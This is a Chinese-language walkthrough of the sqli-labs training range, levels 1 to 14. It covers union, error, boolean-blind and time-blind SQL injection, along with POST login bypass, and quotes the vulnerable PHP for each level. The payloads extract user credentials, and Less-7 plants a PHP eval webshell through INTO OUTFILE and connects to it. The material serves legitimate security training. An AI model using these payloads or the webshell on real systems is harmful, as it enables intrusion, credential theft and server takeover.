首页 > 数据库 >Less靶场SQL注入通关宝典

Less靶场SQL注入通关宝典

时间:2024-05-18 13:30:12浏览次数:26  
标签:网页 Less 宝典 echo uname SQL id SELECT 注入

这篇文章是一个 sqil-labs 靶场的保姆级教学,从安装、配置、场景通关都有详细的介绍,其中场景通关是我们这篇文章的重点。

首先我们要了解 sqli-labs 靶场是什么?sqli-labs 靶场是刚刚接触 SQL 注入的新手,了解 SQL 注入、练习 SQL 注入的一个很方便,很实用的一个靶场,配置简单,操作简单。方便新手学习和掌握 SQL 注入。

配置步骤

安装 php-study

php-study V8 官方安装地址

image-20240516101616683

下载后进行安装,安装路径不要有中文路径,然后双击运行。

启动 Apache 服务和 MySQL 服务

可能遇到的问题:

  1. Apache 服务端口被占用

    为了不影响 80 端口的服务,我们可以设置 Apache 服务的端口,我这里改成了 82

    image-20240516102146700

    image-20240516102215298

  2. MySQL 服务跑不起来

    这是因为主机本身已经存在 MySQL 服务,我们可以不使用 php-study 配置中的 MySQL,就用主机本身即可,但版本可能需要注意,我这里使用的 5.7.35

安装 sqil-labs-master

链接:https://pan.baidu.com/s/1txSJppqlLwRFHDSS5Pneow?pwd = ttal
提取码:ttal

提取,下载,解压到 phpstudy_pro/WWW/ 目录下

image-20240516103801585

修改 sqli-labs 的 MySQL 配置

image-20240516104145450

image-20240516104327885

进入这个配置文件,更改其中的 MySQL 的用户名和密码,改成自己的,保存退出。

创建网站

image-20240516105226504

image-20240516105529614

域名:与解压完成的文件夹名保持一致

端口:与自己修改的一致,默认一致

根目录:WWW/spil-labs-master

PHP 版本:推荐使用 php5.3.29 版本,没有的可以点击“更多版本”下载

image-20240516105803970

打开网站,并保证点击 Setup/reset Database for labs 时不报错,出现一下界面

image-20240516105929081

image-20240516105949535

到此,恭喜你,配置完成!

闯关

SQL注入原理

Less 1 ~ 4 都是使用 GET 方法传参,再根据报错信息判断注入类型,再进行注入

Less-1

GET-Error based-Single quotes-String(基于错误的 GET 单引号字符型注入)

判断注入类型

首先先注入正常的参数,网页回显正常的信息

?id=1

image-20240516150231028

尝试注入个单引号闭合,网页回显 MySQL 报错,说明存在注入漏洞

?id=1'

image-20240516150529887

接下来加个注释,我们观察到把后端的 SQL 语句后面的内容注释后,网页回显了正确的信息。也就是说我们注入的单引号起到了一个闭合的作用,这是一个字符型注入。

?id=1'--+

image-20240516150843948

获取数据库信息

接下来判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效

?id=1' ORDER BY 3--+

image-20240516151620620

再测试第四列,无回显,说明表中一共有 3 列

?id=1' ORDER BY 4--+

image-20240516151703402

接下来判断哪些列是我们能用的,首先令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。网页回显了数字 2 和 3,说明第 2 列 和 第 3 列是我们可用的。

?id=99' UNION SELECT 1,2,3--+

image-20240516152014507

接下来开始爆数据库名,我们选择第 2 个位置作为显示位。database() 函数可以回显当前是同的数据库,我们将它进行查询。

?id=99' UNION SELECT 1,database(),3 --+

image-20240516152220142

接下来开始爆表明,在 information_schema.table 进行查询,使用 group_concat() 函数合并查询结果

?id=99' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
?id=99' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+
(效果、原理相同,查询结果相同)

image-20240516152515373

接下来爆 users 表的字段,在 information_schema.columns 爆出来

?id=99' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
?id=99' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273--+

image-20240516152659737

获取目标信息

接下来我们爆出 users 表中的信息,这个表有用户名和密码这种敏感信息

?id=99' UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
?id=99' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

image-20240516152828942

PHP 文件 SQL 语句代码源码

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo "<font size='5' color= '#99FF00'>";
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      print_r(mysql_error());
      echo "</font>";  
}

Less-2

GET-Error based-Intiger based (基于错误的 GET 整型注入)

判断注入类型

先注入正常参数,网页回显正常的信息

?id=1

image-20240516153635715

尝试注入单引号闭合,网页回显 MySQL 报错,说明存在注入漏洞

?id=1'

image-20240516153746944

加个注释,将后端的 SQL 语句后面的内容注释后,网页仍然不能回显正确的信息。即我们注入的单引号没有起到闭合的作用。得出结论:这是一个数字型注入。

数字型注入和字符型注入的区别在于我们不需要用单引号去闭合,其他操作基本相同

?id=1'--+

image-20240516154030415

获取数据库信息

判断表有几列,使用 ORDER BY 子句进行排序,看对几列有效

?id=1 ORDER BY 3--+ 有效

image-20240516154310261

?id=1 ORDER BY 4--+ 无回显、无效

image-20240516154259521

即:有 3 列可用

接下来判断哪些列是我们能用的,令 id 参数的查询不到结果,然后是同 UNION 进行组合查询。网页回显了数字 2 和 3,说明第二列和第三列是我们可以用的

?id=99 UNION SELECT 1,2,3--+

image-20240516154511267

爆数据库名,我们选择第二个位置作为显示位

?id=99 UNION SELECT 1,database(),3 --+

image-20240516154611447

爆表名:

?id=99 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
?id=99 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+

image-20240516155719602

爆 users 表的字段:

?id=99 union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
?id=99 union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273--+

image-20240516155825095

获取目标信息

爆 users 表中的信息

?id=99 UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
?id=99 UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

image-20240516160210799

PHP 文件源码 SQL 语句:

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo "<font size='5' color= '#99FF00'>";
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      print_r(mysql_error());
      echo "</font>";  
}

Less-3

GET-Error based-Single quotes with twist string (基于错误的 GET 单引号变形字符型注入)

判断注入类型

先输入正常的参数,网页回显正常的信息

?id=1

image-20240516160449125

尝试单引号闭合,网页回显 MySQL 语句报错,说明存在注入漏洞

image-20240516160708204

根据报错信息,我们需要一个括号开闭合,其他操作与前两题相同

?id=1')--+

image-20240516160805754

获取数据库信息

判断表有几列

?id=1') ORDER BY 3--+ 有回显

?id=1') ORDER BY 4--+ 无回显

即:有 3 列

判断哪些列我们能用

?id=99') UNION SELECT 1,2,3--+

爆数据库名

?id=99') UNION SELECT 1,database(),3 --+

爆表明

?id=99') UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
?id=99') UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+

爆 users 表的字段:

?id=99') union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
?id=99') union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273--+

获取目标信息

爆出 users 表中的信息

?id=99') UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
?id=99') UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

PHP 源码文件 SQL 语句:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo "<font size='5' color= '#99FF00'>";
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      print_r(mysql_error());
      echo "</font>";  
}

Less-4

GET-Error based-Double Quotes-String(基于错误的 GET 双引号字符型注入)

判断注入类型

先输入正常的参数,网页回显正常的信息 ?id=1

尝试输入单引号,网页回显正确的信息(没有发生 MySQL 语句报错)

?id=1'

image-20240516161435968

尝试注入双引号闭合,MySQL 语句报错,说明存在注入漏洞,并且闭合符号是双引号

?id=1"

image-20240516161536975

加上--+,注释掉后面的 SQL 语句,其他步骤与前几题操作相同

?id=1")--+

image-20240516161654530

... ...

PHP 文件源码 SQL 语句:

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);

if($row)
{
      echo "<font size='5' color= '#99FF00'>";
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      print_r(mysql_error());
      echo "</font>";  
}

Less-5

GET-Double Injection-Single Quotes-String(双注入 GET 单引号字符型注入)

判断注入类型

先输入正确的参数,页面返回“You are in ... ”,但是没有其他信息

?id=1

image-20240516161927671

接下来注入个查不到的参数,页面没有任何反应。说明向这个网页传入参数是用于判断 id 值是否存在,如果存在则返回信息。由于网页仅返回或不存在,因为我们可以使用 bool 注入(布尔注入)

?id=9999

image-20240516162245409

判断是否有 SQL 注入漏洞,注入个单引号进行闭合,网页返回报错信息。

这说明网页存在 SQL 注入漏洞,并且用单引号字符型注入

?id=1'

image-20240516162503747

获取数据库信息

判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。返回“You are in ...”,说明表至少有 3 行。

?id=1' ORDER BY 3--+

image-20240516162650657

测试第 4 列,未返回“You are in ...”,说明表中一共有 3 列

?id=1' ORDER BY 4--+

image-20240516162750171

得出数据库名的长度,网页只会返回“You are in ...”和无回显 2 种情况,我们可以使用 length() 函数结合回显信息判断数据库长度

?id=1' AND LENGTH((SELECT database()))>5--+

image-20240516163020112

说明数据库长度 > 5,再采用二分法测试:

测试 > 10,发现没有“You are in ...”,说明数据库长度 <= 10

测试 > 8,发现没有“You are in ...”,说明数据库长度 <= 8

测试 = 8,出现“You are in ...”,说明数据库长度为 8

?id=1' AND LENGTH((SELECT database()))=8--+

image-20240516163355779

获取数据库名,此处不适用 UNION 联合查询(因为当 id 为一个查不到的参数时,页面无显示。即因为是布尔注入)。我们使用 left() 函数,left(string, num) 函数返回字符串 string 最左边的 num 个字符串。

我们首先使用 left() 函数判断数据库名的第一位是否是字符 a。注入之后无回显,说明数据库名第一位不是 a

?id=1' AND LEFT((SELECT database()), 1)='a' --+

我们使用抓包工具 Burp Suite 拦截抓取,并发送到 Intruder 模块

image-20240516165041744

选择字符 a 的部分为 payload 有效载荷

image-20240516165201750

添加有效载荷选项,大小写字母、数字和下划线

image-20240516165419355

发起攻击,查看响应结果。设置按长度升序排序。

image-20240516165655625

得到长度与其他差距较大的是字母 s

以此方法,最终得出数据库名字为“scurity”

?id=1' AND LEFT((SELECT database()), 8)='security' --+

继续使用此方法爆破表名、字段名及其其他信息

PHP 文件源码 SQL 语句:

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo '<font size="5" color="#FFFF00">';	
      echo 'You are in...........';
      echo "<br>";
      echo "</font>";
}
else 
{
      echo '<font size="3" color="#FFFF00">';
      print_r(mysql_error());
      echo "</br></font>";	
      echo '<font color= "#0000ff" font size= 3>';	
}

Less-6

GET-Double Injection-Double Quotes-String(双注入 GET 双引号字符型注入)

判断注入类型

首先注入正确的参数,页面返回“You are in ...”,但是没有其他信息

?id=1

image-20240516171600620

注入一个查不到的参数,网页没有任何反应,说明这个网页传入参数是用于判断 id 是否存在,如果存在则返回信息。由于网页仅返回存在或不存在,因此我们可以使用 bool 注入(布尔注入)

?id=9999

image-20240516171745659

判断是否有 SQL 漏洞,引入单引号进行闭合,网页返回“You are in ...”

?id=1'

image-20240516171835501

注入双引号闭合,网页返回错误,说明网页存在 SQL 注入,并使用双引号字符型注入

?id=1"

image-20240516172029933

获取数据库信息

与 less-5 类似,将 less-5 的单引号改为双引号。判断表有几列

?id=1" ORDER BY 3--+ 页面出现“You are in ...”

?id=1" ORDER BY 4--+ 页面没有出现“You are in ...”,说明一共有 3 列

得出数据库名的长度,网页只会返回“You are in ...”和无回显 2 种情况,我们仍然使用 length() 函数结合回显信息判断数据库长度

?id=9999" OR LENGTH((SELECT database()))>5--+

与上一题类似,less-5 是 1',less-6 是 9999 "

结果得出,数据库长度为 8

?id=9999" OR LENGTH((SELECT database()))=8--+

获取数据库名时,我们可以使用上述方法(使用 Brup 抓包爆破),这里还有另一种注入方式。substr() 函数用于截取字符串,substr(string, start, length) 函数是 string 为被截取的字符串,start 为起始位置,length 为截取长度。ASCLL() 函数返回字符的 ASCLL 码值,大致思路是使用 substr() 函数截取数据库名的每个字符,然后判断这个字符的 ASCLL 码值

?id=9999" OR ASCII(SUBSTR((SELECT database()),1,1))>109--+

使用二分法,得出数据库名的第一个字符 ASCLL 码值为 115,即 s

以此为例,得出完成的数据库名,后续内容也同样采用这个方法。

PHP 文件源码 SQL 语句:

$id = '"'.$id.'"';
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo '<font size="5" color="#FFFF00">';	
      echo 'You are in...........';
      echo "<br>";
      echo "</font>";
}
else 
{
      echo '<font size="3"  color= "#FFFF00">';
      print_r(mysql_error());
      echo "</br></font>";	
      echo '<font color= "#0000ff" font size= 3>';	
}

Less-7

通过 SQL 注入,写入一句话木马文件

开启文件读取权限

MySQL 使用 secure-file-priv 参数对文件读写进行限制,当参数值为 null 时无法进行文件导出操作。使用这条命令可以查看

show variables like '%secure%';

image-20240517191850700

通过修改 MySQL 下的 my.ini 配置文件来启用权限,需要把下面这个字符串写入文件中

secure_file_priv="/"

image-20240517193109778

然后保存,并重启 MySQL 服务 net stop/start mysql

检查是否设置成功

image-20240517193200145

判断注入类型

注入个正常的参数,网页返回“You are in.... Use outfile......”。

?id=1

image-20240517193320026

注入单引号和单引号加括号,网页回显 SQL 报错

?id=1'
?id=1')

注入单引号加上 2 个括号闭合,网页回显“You are in.... Use outfile......”,说明这是一个单引号和 2 个括号闭合的字符型注入

?id=1'))

image-20240517193523689

写入文件

我们需要先知道网页所在的文件路径,从该题中的无法得到的,我们去 Less-1 题,在那获取文件路径。这种操作也可以应用在实践中,可以同时利用同一 Web 中的多个注入点。

http://sqil-labs-master:82/Less-1/?id=9999' UNION SELECT 1,@@basedir,@@datadir --+

image-20240517193819252

使用 UNION 联合查询来注入参数,使用 into outfile 在网页目录下入一句话木马。注意此处存在转义问题,所有的“\”都要双写

?id=1')) UNION SELECT 1,2,'<?php @eval($_POST["attack"]);?>' into outfile "D:\\Software\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\text.php"--+

image-20240518091208820

连接终端

使用蚁剑连接,url 为我们的 text.php 文件路径

密码为:attack

image-20240518091532882

双击,可以显示本机的文件资源管理器中的文件目录,证明连接成功

image-20240518091620198

PHP 源码文件中的 SQL 语句

$sql = "SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo '<font color= "#FFFF00">';	
      echo 'You are in.... Use outfile......';
      echo "<br>";
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      echo 'You have an error in your SQL syntax';
      //print_r(mysql_error());
      echo "</font>";  
}

Less-8

GET-Blind-Boolian Based-Single Quotes(布尔型单引号 GET 盲注)

判断注入类型

先注入正确的参数,网页返回“You are in ...”,但是没有其他信息

?id=1

image-20240516185212732

然后注入一个查不到的参数,网页没有任何反应。说明向这个网页传入参数是用于判断 id 值是否存在,如果存在则返回信息

?id=9999

判断是否有 SQL 注入漏洞,注入个单引号进行闭合,网页无任何返回

?id=1'

此时还是注入单引号,但是后面注释掉,网页返回“You are in ...”。

这说明网页存在 SQL 注入漏洞,并且是用单引号字符型注入。同时因为 SQL 语句发生错误,因此此处是 bool 盲注漏洞

?id=1'--+

image-20240516192920584

获取数据库信息

和 Less-5 不同在于 Less-8 查询发生错误时不会报错,不过基本的操作与 Less-5 相似。

首先判断有几列,使用 ORDER BY 子句进行排序,看一下对几列有效,返回“You are in ...”说明表至少有 3 行

?id=1' ORDER BY 3--+

测试 4 列

?id=1' ORDER BY 4--+

得出数据库名的长度,网页只会返回“You are in ...”和无回显 2 种情况,我们使用 length() 函数结合回显信息判断数据库长度

?id=1' AND LENGTH((SELECT database()))>5--+

?id=1' AND LENGTH((SELECT database()))=8--+

使用 left() 函数判断数据库名的第一位是否是 a,注入之后无回显,则不是,有回显则是。

?id=1' AND LEFT((SELECT database()), 1)='a' --+

之后都是与前几题类似

PHP 文件源码 SQL 语句:

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo '<font size="5" color="#FFFF00">';	
      echo 'You are in...........';
      echo "<br>";
      echo "</font>";
}
else 
{
      echo '<font size="5" color="#FFFF00">';
      //echo 'You are in...........';
      //print_r(mysql_error());
      //echo "You have an error in your SQL syntax";
      echo "</br></font>";	
      echo '<font color= "#0000ff" font size= 3>';	
}

Less-9

GET-Blind-Time based-Single Quotes(基于时间的 GET 单引号盲注)

通过 sleep() 函数注入,观察页面响应时间,从而判断注入的 SQL 语句是否正确

判断注入类型

首先注入正确的参数,网页返回“You are in ...”,但是没有其他信息

?id=1

接下来注入个查不到的参数,网页还是返回“You are in ...”

?id=9999

注入个单引号进行闭合,网页还是返回“You are in ...”

?id=1'

再尝试下面三种方式:网页仍然是“You are in ...”

?id=1'--+

?id=1"

?id=1"--+

我们转换思路,MySQL 的 sleep() 函数能够起到休眠的作用。为了方便调试,我们使用 Burp 拦截工具中的重放器

?id=1 and sleep(1)--+ 使用 Burp 工具开启拦截,并注入,发送都重放器,发送并观察时间

image-20240517090815793

将参数改为 ?id=1' and sleep(1)--+ 观察时间

image-20240517091201184

明显响应时间变长,这是明显的基于 时间盲注 的字符型 SQL 注入漏洞,我们需要使用 sleep() 函数制造时间差来进行注入。

获取数据库信息

注入流程与 Less-5 类似,不过这里的判断标准不是回显的信息,而是响应时间。MySQL 的 IF 语句允许根据表达式的某个条件或结果来执行一组 SQL 语句,语法如下,当表达式 expr 为真时返回 value1 的值,否则返回 value2

IF (expr,value1,value2)

此处因为无法回显任何东西,因此 ORDER BY 子句不能使用。我们使用 IF 语句结合 LENGTH() 函数对数据库名长度进行判断,如果猜测正确则令响应时间长一些。猜测数据库名长度小于 10 时响应时间超过,所以数据库名长度小于 10。

?id=1' AND IF(LENGTH(database())<10,sleep(1),1)--+

image-20240517092323500

通过二分法测试,最终确定数据库长度为 8

?id=1' AND IF(LENGTH(database())=8,sleep(1),1)--+

使用穷举法进行测试,得到数据库名的第一个字符为 "s"

?id=1' AND IF(LEFT((SELECT database()), 1)='s',sleep(1),1)--+

最终得到数据库名字为“security”

接下来使用类似的方法,爆出表明、字段名和其他信息

PHP 源码文件中 SQL 语句

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo '<font size="5" color="#FFFF00">';	
      echo 'You are in...........';
      echo "<br>";
      echo "</font>";
}
else 
{
      echo '<font size="5" color="#FFFF00">';
      echo 'You are in...........';
      //print_r(mysql_error());
      //echo "You have an error in your SQL syntax";
      echo "</br></font>";	
      echo '<font color= "#0000ff" font size= 3>';	
}

Less-10

GET-Blind-Time based-double quotes(基于时间的双引号盲注)

判断注入类型

首先注入正确的参数,网页返回“You are in ...”,但是没有其他信息

?id=1

再依次注入一下参数,网页还是返回“You are in ...”,说明此时网页不会回显任何有价值的信息

?id=9999
?id=1'
?id=1'--+
?id=1"
?id=1"--+

我们使用 Brup 的重发器模块,注入一下 2 种参数,观察响应时间没有异常变化

?id=1 and sleep(1)--+
?id=1' and sleep(1)--+

使用双引号闭合时,明显发现响应时间增加,因此这是基于 时间盲注 的字符型 SQL 注入漏洞

?id=1" and sleep(1)--+

image-20240517093911784

获取数据库信息

Less-10 和 Less-9 差不多,只是 Less-10 使用的是双引号进行闭合

?id=1" AND IF(LENGTH(database())<10,sleep(1),1)--+,响应时间超过 1s,索命数据库名长度 < 10

使用二分法测试,得出数据库长度为 8

?id=1" AND IF(LENGTH(database())=8,sleep(1),1)--+

获取数据库名时,使用 left() 函数进行穷举法效率较低,使用 substr() 函数结合 ASCLL() 函数进行判断可以使用二分法快速缩小范围。

?id=1" AND IF(ASCII(SUBSTR((SELECT database()),1,1))>109,sleep(1),1)--+

使用二分法测试,最终得出数据库路的第一个字符的 ASCLL 码值为 115,即 s

?id=1" AND IF(ASCII(SUBSTR((SELECT database()),1,1))=115,sleep(1),1)--+

使用相同方法依次得出剩下的字符的 ASCLL 码值,将所有的结果的字符连接到一起,就是数据库的名字了

PHP 文件源码的 SQL 语句

$id = '"'.$id.'"';
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo '<font size="5" color="#FFFF00">';	
      echo 'You are in...........';
      echo "<br>";
      echo "</font>";
}
else 
{
      echo '<font size="5" color="#FFFF00">';
      echo 'You are in...........';
      //print_r(mysql_error());
      //echo "You have an error in your SQL syntax";
      echo "</br></font>";	
      echo '<font color= "#0000ff" font size= 3>';	
}

Less-11

POST-Error Based-Single quotes-String(基于错误的 POST 型单引号字符型注入)

判断注入类型

我们先尝试下网页的正确用法,输入一个正确的用户名和密码试试,网页显示登录成功

image-20240517102200800

接下来直接在“username” 中直接注入单引号,网页返回报错信息,说明存在 SQL 注入

image-20240517102753069

注入万能密码试试,用户名随便写点东西,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容注入,网页提示我们注入成功,由于此时使用的时单引号闭合,因此这里是字符型注入。

a' OR 1 = 1#

image-20240517103007056

使用 Burp 工具抓包,看到网页是通过 POST 方式提交的,以及网页的表单提交参数

image-20240517103136273

获取数据库信息

判断表有几列,使用 ORDER BY 子句进行排序看下对有几列有效。对第二列返回的结果排序,网页返回正常

uname=a' OR 1 = 1 ORDER BY 2#&passwd=&submit=Submit

file_1715914211857_787

对第 3 列对返回的结果排序,网页返回不知带哦第三列,说明一共有 2 列

uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit

image-20240517140522573

爆破数据库名,首先注入错误的用户名和密码,使其找不到数据。使用 UNION 进行联合查询,查询成功把数据库名接到网页回显的地方

uname=a&passwd=a' UNION SELECT database(),1#&submit=Submit

image-20240517151738129

爆表明,使用联合查询在“information_schema.tables”中查询表名,表明来自“security”数据库

uname=a&passwd=a' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=0x7365637572697479#&submit=Submit

image-20240517152204442

爆字段名,使用联合查询在“information_schema.colums”中查询表名,字段名来自“security”数据库中的“users”表

uname=a&passwd=a' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' AND table_name='users'#&submit=Submit

image-20240517152432554

获取目标信息

接下来爆出 users 表中的用户名和密码,构造出 payload 如下

uname=a&passwd=a' UNION SELECT 1,group_concat(concat_ws(':',username,password)) FROM security.users#&submit=Submit

image-20240517152616384

PHP 源码文件的 SQL 语句

@$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      //echo '<font color= "#0000ff">';	
  		
      echo "<br>";
      echo '<font color= "#FFFF00" font size = 4>';
      //echo " You Have successfully logged in\n\n " ;
      echo '<font size="3" color="#0000ff">';	
      echo "<br>";
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "<br>";
      echo "</font>";
      echo "<br>";
      echo "<br>";
      echo '<img src="../images/flag.jpg"  />';	
		
      echo "</font>";
}
else  
{
      echo '<font color= "#0000ff" font size="3">';
      //echo "Try again looser";
      print_r(mysql_error());
      echo "</br>";
      echo "</br>";
      echo "</br>";
      echo '<img src="../images/slap.jpg" />';	
      echo "</font>";  
}

Less-12

POST-Error Based-Double quotes-String-with twist(基于错误的双引号 POST 型字符型变形的注入)

判断注入类型

Username 输入框,随便写点东西并是同单引号闭合,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容注入。网页提示登录失败,并且没有赶回报错信息,说明不是用单引号闭合

a' OR 1 = 1#

image-20240517152918118

注入以下的内容,都显示登录失败,并且没有 SQL 语句回显

a') OR 1 = 1#
a')) OR 1 = 1#

使用双引号进行闭合时,发现 MySQL 语句返回报错信息。说明网页通过双引号进行闭合,但是此时语法不对

a" OR 1 = 1#

image-20240517153057568

添加一个括号,使用双引号闭合,此时网页提示我们登录成功。

综上所述,网页存在字符型注入漏洞,并且使用双引号和括号进行闭合

a") OR 1 = 1#

image-20240517153325697

使用 Burp 攻击拦击,并发送到重发器。

获取数据库信息

Less-12 仅对字符的闭关方式不同与 Less-11,注入方式完全相同

  • 判断表有几列

    uname=a' OR 1 = 1 ORDER BY 2#&passwd=&submit=Submit

    uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit

  • 爆数据库名

    uname=a&passwd=a' UNION SELECT database(),1#&submit=Submit

  • 爆表明

    uname=a&passwd=a") UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'#&submit=Submit

  • 爆字段名

    uname=a&passwd=a") UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'users' AND table_schema = 'security'#&submit=Submit

获取目标信息

uname=a&passwd=a") UNION SELECT 1,group_concat(concat_ws(":",username,password)) FROM security.users#&submit=Submit

image-20240517153924476

PHP 文件源码中的 SQL 语句

$uname = '"'.$uname.'"';
$passwd = '"'.$passwd.'"'; 
@$sql = "SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

Less-13

POST-Double Injection-Single quotes-String-twist(POST 单引号变形双注入)

判断数据类型

用户名随便写并使用单引号闭合,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容注入。网页提示登录失败,并返回语法错误的提示信息。

admin' OR 1 = 1#

image-20240517172012044

添加一个括号,单引号闭合,此时网页提示我们登录成功。因此网页存在字符型注入漏洞,并且使用单引号和括号进行闭合,注意到此网页并没有返回任何信息,我们需要使用 Bool 盲注进行注入。

admin') OR 1 = 1#

image-20240517172442424

使用 Brup 抓包

获取数据库信息

判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。

uname=a') OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit,网页返回正常

uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit,SQL 语句报错

说明是 2 列

使用 length() 函数判断数据库名字长度

uname=a') OR LENGTH((SELECT database())) > 5#&passwd=a&submit=Submit

使用二分法测试,最终得出数据库名字长度为 8

uname=a') OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit

获取数据库名,使用 left(string, num) 函数返回字符串 String 最左边的 num 个字符。首先使用判断数据库名的第一位是否是字符 a。注入之后返回登录失败,说明数据库名字第一位不是‘a’

uname=a') OR LEFT((SELECT database()),1) = 'a'#&passwd=a&submit=Submit

使用 Burp 抓包,使用 intruder 模块爆破,可以参考 Less-5 的解题逻辑

PHP 文件源码 SQL 语句

// connectivity 
@$sql = "SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      //echo '<font color= "#0000ff">';	
      echo "<br>";
      echo '<font color= "#FFFF00" font size = 4>';
      //echo " You Have successfully logged in " ;
      echo '<font size="3" color="#0000ff">';	
      echo "<br>";
      //echo 'Your Login name:'. $row['username'];
      //echo "<br>";
      //echo 'Your Password:' .$row['password'];
      //echo "<br>";
      echo "</font>";
      echo "<br>";
      echo "<br>";
      echo '<img src="../images/flag.jpg"   />';	
      echo "</font>";
}
else  
{
      echo '<font color= "#0000ff" font size="3">';
      //echo "Try again looser";
      print_r(mysql_error());
      echo "</br>";
      echo "</br>";
      echo "</br>";
      echo '<img src="../images/slap.jpg"   />';	
      echo "</font>";  
}

Less-14

POST-Double Injection-Single quotes-String-twist(POST 单引号变形双注入)

判断数据类型

用户名随便写点东西然后使用单引号闭合,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容注入。

网页提示登录失败,也没有返回语法错误的提示信息

a' OR 1 = 1#

注释以下内容,统统都显示登录失败且无回显

a') OR 1 = 1#
a')) OR 1 = 1#

使用双引号闭合,此时网页提示我们登录成功。因此网页存在双引号进行闭合的字符型注入漏洞,此时网页也没有返回任何信息,我们需要使用 bool 盲注进行注入。

admin" OR 1 = 1#

我们使用 Burp 抓包测试

获取数据库信息

判断表有几列:

uname=a" OR 1 = 1 ORDER BY 2#&passwd=&submit=Submit,页面返回正常

uname=a" OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit,网页返回 SQL 语法报错

所以,数据库有 2 列

使用 length()函数结合回显信息得出数据库名字长度为 8

uname=a" OR LENGTH((SELECT database())) = 8#&passwd=&submit=Submit

使用 substr() 截取数据库名字的每个字符,判断其 ASCLL 值来判断是否正确

uname=a" OR ASCII(SUBSTR((SELECT database()),1,1))>100#&passwd=&submit=Submit

